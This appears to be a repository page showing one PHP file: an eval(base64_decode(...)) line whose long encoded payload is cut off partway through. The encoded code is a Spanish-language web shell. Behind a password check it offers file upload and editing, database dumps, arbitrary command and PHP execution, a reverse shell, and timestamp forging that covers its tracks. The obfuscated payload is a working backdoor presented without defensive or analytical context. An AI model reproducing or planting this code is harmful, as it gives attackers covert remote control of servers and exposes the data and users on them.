You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
 
 
 
 
 
 

1 lines
134 KiB

<?pHp evAL("?>".bASe64_dECOdE("PD9waHANCg0KDQoNCmVycm9yX3JlcG9ydGluZyg3KTsNCg0KQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsNCg0Kb2Jfc3RhcnQoKTsNCg0KJG10aW1lID0gZXhwbG9kZSgnICcsIG1pY3JvdGltZSgpKTsNCg0KJHN0YXJ0dGltZSA9ICRtdGltZVsxXSArICRtdGltZVswXTsNCg0KZGVmaW5lKCdTQV9ST09UJywgc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCBkaXJuYW1lKF9fRklMRV9fKSkuJy8nKTsNCg0KZGVmaW5lKCdJU19XSU4nLCBESVJFQ1RPUllfU0VQQVJBVE9SID09ICdcXCcpOw0KDQpkZWZpbmUoJ0lTX0NPTScsIGNsYXNzX2V4aXN0cygnQ09NJykgPyAxIDogMCApOw0KDQpkZWZpbmUoJ0lTX0dQQycsIGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpOw0KDQokZGlzX2Z1bmMgPSBnZXRfY2ZnX3ZhcignZGlzYWJsZV9mdW5jdGlvbnMnKTsNCg0KZGVmaW5lKCdJU19QSFBJTkZPJywgKCFlcmVnaSgicGhwaW5mbyIsJGRpc19mdW5jKSkgPyAxIDogMCApOw0KDQpAc2V0X3RpbWVfbGltaXQoMCk7DQoNCg0KDQpmb3JlYWNoKGFycmF5KCdfR0VUJywnX1BPU1QnKSBhcyAkX3JlcXVlc3QpIHsNCg0KCWZvcmVhY2goJCRfcmVxdWVzdCBhcyAkX2tleSA9PiAkX3ZhbHVlKSB7DQoNCgkJaWYgKCRfa2V5ezB9ICE9ICdfJykgew0KDQoJCQlpZiAoSVNfR1BDKSB7DQoNCgkJCQkkX3ZhbHVlID0gc19hcnJheSgkX3ZhbHVlKTsNCg0KCQkJfQ0KDQoJCQkkJF9rZXkgPSAkX3ZhbHVlOw0KDQoJCX0NCg0KCX0NCg0KfQ0KDQokYWRtaW4gPSBhcnJheSgpOw0KDQokYWRtaW5bJ2NoZWNrJ10gPSB0cnVlOw0KDQokYWRtaW5bJ3Bhc3MnXSAgPSAnZTRhNDA1ZTkwN2E0MmIyZDM0NjE0OGE5MDhjZGExNDknOw0KDQokYWRtaW5bJ2Nvb2tpZXByZSddID0gJyc7DQoNCiRhZG1pblsnY29va2llZG9tYWluJ10gPSAnJzsNCg0KJGFkbWluWydjb29raWVwYXRoJ10gPSAnLyc7DQoNCiRhZG1pblsnY29va2llbGlmZSddID0gODY0MDA7DQoNCiEkd3JpdGFibGVkYiAmJiAkd3JpdGFibGVkYiA9ICdwaHAsY2dpLHBsLGFzcCxpbmMsanMsaHRtbCxodG0sanNwJzsNCg0KDQoNCiRjaGFyc2V0ZGIgPSBhcnJheSgNCg0KCSdhcm1zY2lpOCcsDQoNCgknYXNjaWknLA0KDQoJJ2JpZzUnLA0KDQoJJ2JpbmFyeScsDQoNCgknY3AxMjUwJywNCg0KCSdjcDEyNTEnLA0KDQoJJ2NwMTI1NicsDQoNCgknY3AxMjU3JywNCg0KCSdjcDg1MCcsDQoNCgknY3A4NTInLA0KDQoJJ2NwODY2JywNCg0KCSdjcDkzMicsDQoNCgknZGVjOCcsDQoNCgknZXVjanBtcycsDQoNCgknZXVja3InLA0KDQoJJ2diMjMxMicsDQoNCgknZ2JrJywNCg0KCSdnZW9zdGQ4JywNCg0KCSdncmVlaycsDQoNCgknaGVicmV3JywNCg0KCSdocDgnLA0KDQoJJ2tleWJjczInLA0KDQoJJ2tvaThyJywNCg0KCSdrb2k4dScsDQoNCgknbGF0aW4xJywNCg0KCSdsYXRpbjInLA0KDQoJJ2xhdGluNScsDQoNCgknbGF0aW43JywNCg0KCSdtYWNjZScsDQoNCgknbWFjcm9tYW4nLA0KDQoJJ3NqaXMnLA0KDQoJJ3N3ZTcnLA0KDQoJJ3RpczYyMCcsDQoNCgkndWNzMicsDQoNCgkndWppcycsDQoNCgkndXRmOCcNCg0KKTsNCg0KaWYgKCRjaGFyc2V0ID09ICd1dGY4Jykgew0KDQoJaGVhZGVyKCJjb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIpOw0KDQp9IGVsc2VpZiAoJGNoYXJzZXQgPT0gJ2JpZzUnKSB7DQoNCgloZWFkZXIoImNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PWJpZzUiKTsNCg0KfSBlbHNlaWYgKCRjaGFyc2V0ID09ICdnYmsnKSB7DQoNCgloZWFkZXIoImNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PWdiayIpOw0KDQp9IGVsc2VpZiAoJGNoYXJzZXQgPT0gJ2xhdGluMScpIHsNCg0KCWhlYWRlcigiY29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9aXNvLTg4NTktMiIpOw0KDQp9IGVsc2VpZiAoJGNoYXJzZXQgPT0gJ2V1Y2tyJykgew0KDQoJaGVhZGVyKCJjb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1ldWMta3IiKTsNCg0KfSBlbHNlaWYgKCRjaGFyc2V0ID09ICdldWNqcG1zJykgew0KDQoJaGVhZGVyKCJjb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1ldWMtanAiKTsNCg0KfQ0KDQoNCg0KJHNlbGYgPSAkX1NFUlZFUlsnUEhQX1NFTEYnXSA/ICRfU0VSVkVSWydQSFBfU0VMRiddIDogJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ107DQoNCiR0aW1lc3RhbXAgPSB0aW1lKCk7DQoNCg0KDQovKj09PT09PT09PT09PT09PT09PT09PSAmIzEyOTt/JiMxMjk7fyYjMTI5O38mIzEyOTt/JiMxMjk7fyYjMTQ0NDsgPT09PT09PT09PT09PT09PT09PT09Ki8NCg0KaWYgKCRhY3Rpb24gPT0gImxvZ291dCIpIHsNCg0KCXNjb29raWUoJ2xvZ2lucGFzcycsICcnLCAtODY0MDAgKiAzNjUpOw0KDQoJcCgnPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMTtVUkw9Jy4kc2VsZi4nIj4nKTsNCg0KCXAoJzxhIHN0eWxlPSJmb250OjEycHggVmVyZGFuYSIgaHJlZj0iJy4kc2VsZi4nIj5BZGlvcywgbm8gdnVlbHZhcyEhPC9hPicpOw0KDQoJZXhpdDsNCg0KfQ0KDQppZigkYWRtaW5bJ2NoZWNrJ10pIHsNCg0KCWlmICgkZG9pbmcgPT0gJ2xvZ2luJykgew0KDQoJCWlmICgkYWRtaW5bJ3Bhc3MnXSA9PSBtZDUoJHBhc3N3b3JkKSkgew0KDQoJCQlzY29va2llKCdsb2dpbnBhc3MnLCBtZDUoJHBhc3N3b3JkKSk7DQoNCgkJCXAoJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjE7VVJMPScuJHNlbGYuJyI+Jyk7DQoNCgkJCXAoJzxhIHN0eWxlPSJmb250OjEycHggVmVyZGFuYSIgaHJlZj0iJy4kc2VsZi4nIj5JbmdyZXNhbmRvLi4uPC9hPicpOw0KDQoJCQlleGl0Ow0KDQoJCX0NCg0KCX0NCg0KCWlmICgkX0NPT0tJRVsnbG9naW5wYXNzJ10pIHsNCg0KCQlpZiAoJF9DT09LSUVbJ2xvZ2lucGFzcyddICE9ICRhZG1pblsncGFzcyddKSB7DQoNCgkJCWxvZ2lucGFnZSgpOw0KDQoJCX0NCg0KCX0gZWxzZSB7DQoNCgkJbG9naW5wYWdlKCk7DQoNCgl9DQoNCn0NCg0KDQoNCiRlcnJtc2cgPSAnJzsNCg0KDQoNCg0KDQppZiAoJGFjdGlvbiA9PSAncGhwaW5mbycpIHsNCg0KCWlmIChJU19QSFBJTkZPKSB7DQoNCgkJcGhwaW5mbygpOw0KDQoJCWV4aXQ7DQoNCgl9IGVsc2Ugew0KDQoJCSRlcnJtc2cgPSAncGhwaW5mbygpIG5vIGVzdGEgaGFiaWxpdGFkbyc7DQoNCgl9DQoNCn0NCg0KDQoNCg0KDQppZiAoJGRvaW5nID09ICdkb3duZmlsZScgJiYgJHRoZWZpbGUpIHsNCg0KCWlmICghQGZpbGVfZXhpc3RzKCR0aGVmaWxlKSkgew0KDQoJCSRlcnJtc2cgPSAnRWwgYXJjaGl2byBxdWUgZGVzZWEgZGVzY2FyZ2FyIG5vIGV4aXN0ZSc7DQoNCgl9IGVsc2Ugew0KDQoJCSRmaWxlaW5mbyA9IHBhdGhpbmZvKCR0aGVmaWxlKTsNCg0KCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24veC0nLiRmaWxlaW5mb1snZXh0ZW5zaW9uJ10pOw0KDQoJCWhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Jy4kZmlsZWluZm9bJ2Jhc2VuYW1lJ10pOw0KDQoJCWhlYWRlcignQ29udGVudC1MZW5ndGg6ICcuZmlsZXNpemUoJHRoZWZpbGUpKTsNCg0KCQlAcmVhZGZpbGUoJHRoZWZpbGUpOw0KDQoJCWV4aXQ7DQoNCgl9DQoNCn0NCg0KDQoNCmlmICgkZG9pbmcgPT0gJ2JhY2t1cG15c3FsJyAmJiAhJHNhdmVhc2ZpbGUpIHsNCg0KCW15ZGJjb25uKCRkYmhvc3QsICRkYnVzZXIsICRkYnBhc3MsICRkYm5hbWUsICRjaGFyc2V0LCAkZGJwb3J0KTsNCg0KCSR0YWJsZSA9IGFycmF5X2ZsaXAoJHRhYmxlKTsNCg0KCSRyZXN1bHQgPSBxKCJTSE9XIHRhYmxlcyIpOw0KDQoJaWYgKCEkcmVzdWx0KSBwKCc8aDI+Jy5teXNxbF9lcnJvcigpLic8L2gyPicpOw0KDQoJJGZpbGVuYW1lID0gYmFzZW5hbWUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddLidfTXlTUUwuc3FsJyk7DQoNCgloZWFkZXIoJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vdW5rbm93bicpOw0KDQoJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0nLiRmaWxlbmFtZSk7DQoNCgkkbXlzcWxkYXRhID0gJyc7DQoNCgl3aGlsZSAoJGN1cnJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7DQoNCgkJaWYgKGlzc2V0KCR0YWJsZVskY3Vycm93WzBdXSkpIHsNCg0KCQkJJG15c3FsZGF0YSAuPSBzcWxkdW1wdGFibGUoJGN1cnJvd1swXSk7DQoNCgkJfQ0KDQoJfQ0KDQoJbXlzcWxfY2xvc2UoKTsNCg0KCWV4aXQ7DQoNCn0NCg0KaWYoJGRvaW5nPT0nbXlzcWxkb3duJyl7DQoNCglpZiAoISRkYm5hbWUpIHsNCg0KCQkkZXJybXNnID0gJ0luZ3Jlc2UgZWwgZGJuYW1lJzsNCg0KCX0gZWxzZSB7DQoNCgkJbXlkYmNvbm4oJGRiaG9zdCwgJGRidXNlciwgJGRicGFzcywgJGRibmFtZSwgJGNoYXJzZXQsICRkYnBvcnQpOw0KDQoJCWlmICghZmlsZV9leGlzdHMoJG15c3FsZGxmaWxlKSkgew0KDQoJCQkkZXJybXNnID0gJ0VsIGFyY2hpdm8gcXVlIGRlc2VhIGRlc2NhcmdhciBubyBleGlzdGUnOw0KDQoJCX0gZWxzZSB7DQoNCgkJCSRyZXN1bHQgPSBxKCJzZWxlY3QgbG9hZF9maWxlKCckbXlzcWxkbGZpbGUnKTsiKTsNCg0KCQkJaWYoISRyZXN1bHQpew0KDQoJCQkJcSgiRFJPUCBUQUJMRSBJRiBFWElTVFMgdG1wX2FuZ2VsOyIpOw0KDQoJCQkJcSgiQ1JFQVRFIFRBQkxFIHRtcF9hbmdlbCAoY29udGVudCBMT05HQkxPQiBOT1QgTlVMTCk7Iik7CQkNCg0KCQkJCXEoIkxPQUQgREFUQSBMT0NBTCBJTkZJTEUgJyIuYWRkc2xhc2hlcygkbXlzcWxkbGZpbGUpLiInIElOVE8gVEFCTEUgdG1wX2FuZ2VsIEZJRUxEUyBURVJNSU5BVEVEIEJZICdfX2FuZ2VsX3skdGltZXN0YW1wfV9lb2ZfXycgRVNDQVBFRCBCWSAnJyBMSU5FUyBURVJNSU5BVEVEIEJZICdfX2FuZ2VsX3skdGltZXN0YW1wfV9lb2ZfXyc7Iik7DQoNCgkJCQkkcmVzdWx0ID0gcSgic2VsZWN0IGNvbnRlbnQgZnJvbSB0bXBfYW5nZWwiKTsNCg0KCQkJCXEoIkRST1AgVEFCTEUgdG1wX2FuZ2VsIik7DQoNCgkJCX0NCg0KCQkJJHJvdyA9IEBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KTsNCg0KCQkJaWYgKCEkcm93KSB7DQoNCgkJCQkkZXJybXNnID0gJ0xvYWQgZmlsZSBmYWlsZWQgJy5teXNxbF9lcnJvcigpOw0KDQoJCQl9IGVsc2Ugew0KDQoJCQkJJGZpbGVpbmZvID0gcGF0aGluZm8oJG15c3FsZGxmaWxlKTsNCg0KCQkJCWhlYWRlcignQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi94LScuJGZpbGVpbmZvWydleHRlbnNpb24nXSk7DQoNCgkJCQloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPScuJGZpbGVpbmZvWydiYXNlbmFtZSddKTsNCg0KCQkJCWhlYWRlcigiQWNjZXB0LUxlbmd0aDogIi5zdHJsZW4oJHJvd1swXSkpOw0KDQoJCQkJZWNobyAkcm93WzBdOw0KDQoJCQkJZXhpdDsNCg0KCQkJfQ0KDQoJCX0NCg0KCX0NCg0KfQ0KDQoNCg0KPz4NCg0KPGh0bWw+DQoNCjxoZWFkPg0KDQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1nYmsiPg0KDQo8dGl0bGU+PD9waHAgZWNobyBzdHJfcmVwbGFjZSgnLicsJycsJ1AuaC5wLi0uLS4tJyk7Pz48L3RpdGxlPg0KDQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KDQpib2R5LHRke2ZvbnQ6IDEycHggQXJpYWwsVGFob21hO2xpbmUtaGVpZ2h0OiAxNnB4O30NCg0KLmlucHV0e2ZvbnQ6MTJweCBBcmlhbCxUYWhvbWE7YmFja2dyb3VuZDojZmZmO2JvcmRlcjogMXB4IHNvbGlkICM2NjY7cGFkZGluZzoycHg7aGVpZ2h0OjIycHg7fQ0KDQouYXJlYXtmb250OjEycHggJ0NvdXJpZXIgTmV3JywgTW9ub3NwYWNlO2JhY2tncm91bmQ6I2ZmZjtib3JkZXI6IDFweCBzb2xpZCAjNjY2O3BhZGRpbmc6MnB4O30NCg0KLmJ0IHtib3JkZXItY29sb3I6I2IwYjBiMDtiYWNrZ3JvdW5kOiMzZDNkM2Q7Y29sb3I6I2ZmZmZmZjtmb250OjEycHggQXJpYWwsVGFob21hO2hlaWdodDoyMnB4O30NCg0KYSB7Y29sb3I6ICMwMGY7dGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTt9DQoNCmE6aG92ZXJ7Y29sb3I6ICNmMDA7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fQ0KDQouYWx0MSB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCAjZmZmO2JvcmRlci1ib3R0b206MXB4IHNvbGlkICNkZGQ7YmFja2dyb3VuZDojZjFmMWYxO3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDt9DQoNCi5hbHQyIHRke2JvcmRlci10b3A6MXB4IHNvbGlkICNmZmY7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI2RkZDtiYWNrZ3JvdW5kOiNmOWY5Zjk7cGFkZGluZzo1cHggMTBweCA1cHggNXB4O30NCg0KLmZvY3VzIHRke2JvcmRlci10b3A6MXB4IHNvbGlkICNmZmY7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI2RkZDtiYWNrZ3JvdW5kOiNmZmZmYWE7cGFkZGluZzo1cHggMTBweCA1cHggNXB4O30NCg0KLmhlYWQgdGR7Ym9yZGVyLXRvcDoxcHggc29saWQgI2ZmZjtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjZGRkO2JhY2tncm91bmQ6I2U5ZTllOTtwYWRkaW5nOjVweCAxMHB4IDVweCA1cHg7Zm9udC13ZWlnaHQ6Ym9sZDt9DQoNCi5oZWFkIHRkIHNwYW57Zm9udC13ZWlnaHQ6bm9ybWFsO30NCg0KZm9ybXttYXJnaW46MDtwYWRkaW5nOjA7fQ0KDQpoMnttYXJnaW46MDtwYWRkaW5nOjA7aGVpZ2h0OjI0cHg7bGluZS1oZWlnaHQ6MjRweDtmb250LXNpemU6MTRweDtjb2xvcjojNUI2ODZGO30NCg0KdWwuaW5mbyBsaXttYXJnaW46MDtjb2xvcjojNDQ0O2xpbmUtaGVpZ2h0OjI0cHg7aGVpZ2h0OjI0cHg7fQ0KDQp1e3RleHQtZGVjb3JhdGlvbjogbm9uZTtjb2xvcjojNzc3O2Zsb2F0OmxlZnQ7ZGlzcGxheTpibG9jazt3aWR0aDoxNTBweDttYXJnaW4tcmlnaHQ6MTBweDt9DQoNCjwvc3R5bGU+DQoNCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCg0KZnVuY3Rpb24gQ2hlY2tBbGwoZm9ybSkgew0KDQoJZm9yKHZhciBpPTA7aTxmb3JtLmVsZW1lbnRzLmxlbmd0aDtpKyspIHsNCg0KCQl2YXIgZSA9IGZvcm0uZWxlbWVudHNbaV07DQoNCgkJaWYgKGUubmFtZSAhPSAnY2hrYWxsJykNCg0KCQllLmNoZWNrZWQgPSBmb3JtLmNoa2FsbC5jaGVja2VkOw0KDQogICAgfQ0KDQp9DQoNCmZ1bmN0aW9uICQoaWQpIHsNCg0KCXJldHVybiBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCk7DQoNCn0NCg0KZnVuY3Rpb24gZ29hY3Rpb24oYWN0KXsNCg0KCSQoJ2dvYWN0aW9uJykuYWN0aW9uLnZhbHVlPWFjdDsNCg0KCSQoJ2dvYWN0aW9uJykuc3VibWl0KCk7DQoNCn0NCg0KPC9zY3JpcHQ+DQoNCjwvaGVhZD4NCg0KPGJvZHkgc3R5bGU9Im1hcmdpbjowO3RhYmxlLWxheW91dDpmaXhlZDsgd29yZC1icmVhazpicmVhay1hbGwiPg0KDQo8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4NCg0KCTx0ciBjbGFzcz0iaGVhZCI+DQoNCgkJPHRkPjxzcGFuIHN0eWxlPSJmbG9hdDpyaWdodDsiPjw/cGhwIGVjaG8gc3RyX3JlcGxhY2UoJy4nLCcnLCdQLmgucC4tLi0uLScpOz8+IDwvc3Bhbj48P3BocCBlY2hvICRfU0VSVkVSWydIVFRQX0hPU1QnXTs/PiAoPD9waHAgZWNobyBnZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKTs/Pik8L3RkPg0KDQoJPC90cj4NCg0KCTx0ciBjbGFzcz0iYWx0MSI+DQoNCgkJPHRkPjxzcGFuIHN0eWxlPSJmbG9hdDpyaWdodDsiPlNhZmUgTW9kZTo8P3BocCBlY2hvIGdldGNmZygnc2FmZV9tb2RlJyk7Pz48L3NwYW4+DQoNCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2xvZ291dCcpOyI+U2FsaXI8L2E+IHwgDQoNCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2ZpbGUnKTsiPkFyY2hpdm9zPC9hPiB8IA0KDQoJCQk8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdteXNxbGFkbWluJyk7Ij5NWVNRTDwvYT4gfCANCg0KCQkJPGEgaHJlZj0iamF2YXNjcmlwdDpnb2FjdGlvbignbXNzcWxhZG1pbicpOyI+TVNTUUw8L2E+IHwgDQoNCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ3NxbGZpbGUnKTsiPlN1YmlyL0JhamFyIE15U1FMREI8L2E+IHwgDQoNCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ3NoZWxsJyk7Ij5FamVjdXRhciBDb21hbmRvPC9hPiB8IA0KDQoJCQk8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdwaHBlbnYnKTsiPlZhcmlhYmxlcyBQSFA8L2E+IHwgDQoNCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2V2YWwnKTsiPkVqZWN1dGFyIFBIUDwvYT4NCg0KCQkJPD9waHAgaWYgKCFJU19XSU4pIHs/PiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2JhY2tjb25uZWN0Jyk7Ij5TaGVsbCBpbnZlcnNhPC9hPjw/cGhwIH0/Pg0KDQoJCTwvdGQ+DQoNCgk8L3RyPg0KDQo8L3RhYmxlPg0KDQo8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjE1IiBjZWxsc3BhY2luZz0iMCI+PHRyPjx0ZD4NCg0KPD9waHANCg0KDQoNCmZvcm1oZWFkKGFycmF5KCduYW1lJz0+J2dvYWN0aW9uJykpOw0KDQptYWtlaGlkZSgnYWN0aW9uJyk7DQoNCmZvcm1mb290KCk7DQoNCg0KDQokZXJybXNnICYmIG0oJGVycm1zZyk7DQoNCmlmICghJGRpcikgew0KDQoJaWYgKCRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0pIHsNCg0KCQkkZGlyID0gJF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1QiXTsNCg0KCX0gZWxzZSB7DQoNCgkJJGRpciA9ICcuJzsNCg0KCX0NCg0KfQ0KDQoNCg0KJG5vd3BhdGggPSBnZXRQYXRoKFNBX1JPT1QsICRkaXIpOw0KDQppZiAoc3Vic3RyKCRkaXIsIC0xKSAhPSAnLycpIHsNCg0KCSRkaXIgPSAkZGlyLicvJzsNCg0KfQ0KDQokdWVkaXIgPSB1ZSgkZGlyKTsNCg0KDQoNCmlmICghJGFjdGlvbiB8fCAkYWN0aW9uID09ICdmaWxlJykgew0KDQoNCgkkZGlyX3dyaXRlYWJsZSA9IEBpc193cml0YWJsZSgkbm93cGF0aCkgPyAnV3JpdGFibGUnIDogJ05vbi13cml0YWJsZSc7DQoNCg0KDQoJaWYgKCRkb2luZyA9PSAnZGVsZGlyJyAmJiAkdGhlZmlsZSkgew0KDQoJCWlmICghZmlsZV9leGlzdHMoJHRoZWZpbGUpKSB7DQoNCgkJCW0oJHRoZWZpbGUuJyBFbCBkaXJlY3RvcmlvIG5vIGV4aXN0ZScpOw0KDQoJCX0gZWxzZSB7DQoNCgkJCW0oJ0JvcnJhZG8gJy4oZGVsdHJlZSgkdGhlZmlsZSkgPyBiYXNlbmFtZSgkdGhlZmlsZSkuJyBleGl0b3NvJyA6ICdmYWxsaWRvJykpOw0KDQoJCX0NCg0KCX0NCg0KDQoNCgllbHNlaWYgKCRuZXdkaXJuYW1lKSB7DQoNCgkJJG1rZGlycyA9ICRub3dwYXRoLiRuZXdkaXJuYW1lOw0KDQoJCWlmIChmaWxlX2V4aXN0cygkbWtkaXJzKSkgew0KDQoJCQltKCdFbCBkaXJlY3RvcmlvIHlhIGV4aXN0ZScpOw0KDQoJCX0gZWxzZSB7DQoNCgkJCW0oJ0RpcmVjdG9yaW8gY3JlYWRvICcuKEBta2RpcigkbWtkaXJzLDA3NzcpID8gJ2V4aXRvc28nIDogJ2ZhbGxpZG8nKSk7DQoNCgkJCUBjaG1vZCgkbWtkaXJzLDA3NzcpOw0KDQoJCX0NCg0KCX0NCg0KDQoNCgllbHNlaWYgKCRkb3VwZmlsZSkgew0KDQoJCW0oJ1VwbG9hZCAnLihAY29weSgkX0ZJTEVTWyd1cGxvYWRmaWxlJ11bJ3RtcF9uYW1lJ10sJHVwbG9hZGRpci4nLycuJF9GSUxFU1sndXBsb2FkZmlsZSddWyduYW1lJ10pID8gJ2V4aXRvc28nIDogJ2ZhbGxpZG8nKSk7DQoNCgl9DQoNCg0KDQoJZWxzZWlmICgkZWRpdGZpbGVuYW1lICYmICRmaWxlY29udGVudCkgew0KDQoJCSRmcCA9IEBmb3BlbigkZWRpdGZpbGVuYW1lLCd3Jyk7DQoNCgkJbSgnR3VhcmRhZG8gJy4oQGZ3cml0ZSgkZnAsJGZpbGVjb250ZW50KSA/ICdleGl0b3NvJyA6ICdmYWxsaWRvJykpOw0KDQoJCUBmY2xvc2UoJGZwKTsNCg0KCX0NCg0KDQoNCgllbHNlaWYgKCRwZmlsZSAmJiAkbmV3cGVybSkgew0KDQoJCWlmICghZmlsZV9leGlzdHMoJHBmaWxlKSkgew0KDQoJCQltKCdFbCBhcmNoaXZvIG9yaWdpbmFsIG5vIGV4aXN0ZScpOw0KDQoJCX0gZWxzZSB7DQoNCgkJCSRuZXdwZXJtID0gYmFzZV9jb252ZXJ0KCRuZXdwZXJtLDgsMTApOw0KDQoJCQltKCdNb2RpZmljYXIgYXRyaWJ1dG9zICcuKEBjaG1vZCgkcGZpbGUsJG5ld3Blcm0pID8gJ2V4aXRvc28nIDogJ2ZhbGxpZG8nKSk7DQoNCgkJfQ0KDQoJfQ0KDQoNCg0KCWVsc2VpZiAoJG9sZG5hbWUgJiYgJG5ld2ZpbGVuYW1lKSB7DQoNCgkJJG5uYW1lID0gJG5vd3BhdGguJG5ld2ZpbGVuYW1lOw0KDQoJCWlmIChmaWxlX2V4aXN0cygkbm5hbWUpIHx8ICFmaWxlX2V4aXN0cygkb2xkbmFtZSkpIHsNCg0KCQkJbSgkbm5hbWUuJyBoYXMgYWxyZWFkeSBleGlzdGVkIG9yIG9yaWdpbmFsIGZpbGUgZG9lcyBub3QgZXhpc3QnKTsNCg0KCQl9IGVsc2Ugew0KDQoJCQltKGJhc2VuYW1lKCRvbGRuYW1lKS4nIHJlbm9tYnJhZG8gJy5iYXNlbmFtZSgkbm5hbWUpLihAcmVuYW1lKCRvbGRuYW1lLCRubmFtZSkgPyAnIHN1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsNCg0KCQl9DQoNCgl9DQoNCg0KDQoJZWxzZWlmICgkc25hbWUgJiYgJHRvZmlsZSkgew0KDQoJCWlmIChmaWxlX2V4aXN0cygkdG9maWxlKSB8fCAhZmlsZV9leGlzdHMoJHNuYW1lKSkgew0KDQoJCQltKCdUaGUgZ29hbCBmaWxlIGhhcyBhbHJlYWR5IGV4aXN0ZWQgb3Igb3JpZ2luYWwgZmlsZSBkb2VzIG5vdCBleGlzdCcpOw0KDQoJCX0gZWxzZSB7DQoNCgkJCW0oYmFzZW5hbWUoJHRvZmlsZSkuJyBjb3BpZWQgJy4oQGNvcHkoJHNuYW1lLCR0b2ZpbGUpID8gYmFzZW5hbWUoJHRvZmlsZSkuJyBzdWNjZXNzJyA6ICdmYWlsZWQnKSk7DQoNCgkJfQ0KDQoJfQ0KDQoJZWxzZWlmICgkY3VyZmlsZSAmJiAkdGFyZmlsZSkgew0KDQoJCWlmICghQGZpbGVfZXhpc3RzKCRjdXJmaWxlKSB8fCAhQGZpbGVfZXhpc3RzKCR0YXJmaWxlKSkgew0KDQoJCQltKCdUaGUgZ29hbCBmaWxlIGhhcyBhbHJlYWR5IGV4aXN0ZWQgb3Igb3JpZ2luYWwgZmlsZSBkb2VzIG5vdCBleGlzdCcpOw0KDQoJCX0gZWxzZSB7DQoNCgkJCSR0aW1lID0gQGZpbGVtdGltZSgkdGFyZmlsZSk7DQoNCgkJCW0oJ01vZGlmeSBmaWxlIHRoZSBsYXN0IG1vZGlmaWVkICcuKEB0b3VjaCgkY3VyZmlsZSwkdGltZSwkdGltZSkgPyAnZXhpdG9zbycgOiAnZmFsbGlkbycpKTsNCg0KCQl9DQoNCgl9DQoNCg0KDQoJZWxzZWlmICgkY3VyZmlsZSAmJiAkeWVhciAmJiAkbW9udGggJiYgJGRheSAmJiAkaG91ciAmJiAkbWludXRlICYmICRzZWNvbmQpIHsNCg0KCQlpZiAoIUBmaWxlX2V4aXN0cygkY3VyZmlsZSkpIHsNCg0KCQkJbShiYXNlbmFtZSgkY3VyZmlsZSkuJyBkb2VzIG5vdCBleGlzdCcpOw0KDQoJCX0gZWxzZSB7DQoNCgkJCSR0aW1lID0gc3RydG90aW1lKCIkeWVhci0kbW9udGgtJGRheSAkaG91cjokbWludXRlOiRzZWNvbmQiKTsNCg0KCQkJbSgnTW9kaWZ5IGZpbGUgdGhlIGxhc3QgbW9kaWZpZWQgJy4oQHRvdWNoKCRjdXJmaWxlLCR0aW1lLCR0aW1lKSA/ICdleGl0b3NvJyA6ICdmYWxsaWRvJykpOw0KDQoJCX0NCg0KCX0NCg0KDQoNCgllbHNlaWYoJGRvaW5nID09ICdkb3ducmFyJykgew0KDQoJCWlmICgkZGwpIHsNCg0KCQkJJGRmaWxlcz0nJzsNCg0KCQkJZm9yZWFjaCAoJGRsIGFzICRmaWxlcGF0aCA9PiAkdmFsdWUpIHsNCg0KCQkJCSRkZmlsZXMuPSRmaWxlcGF0aC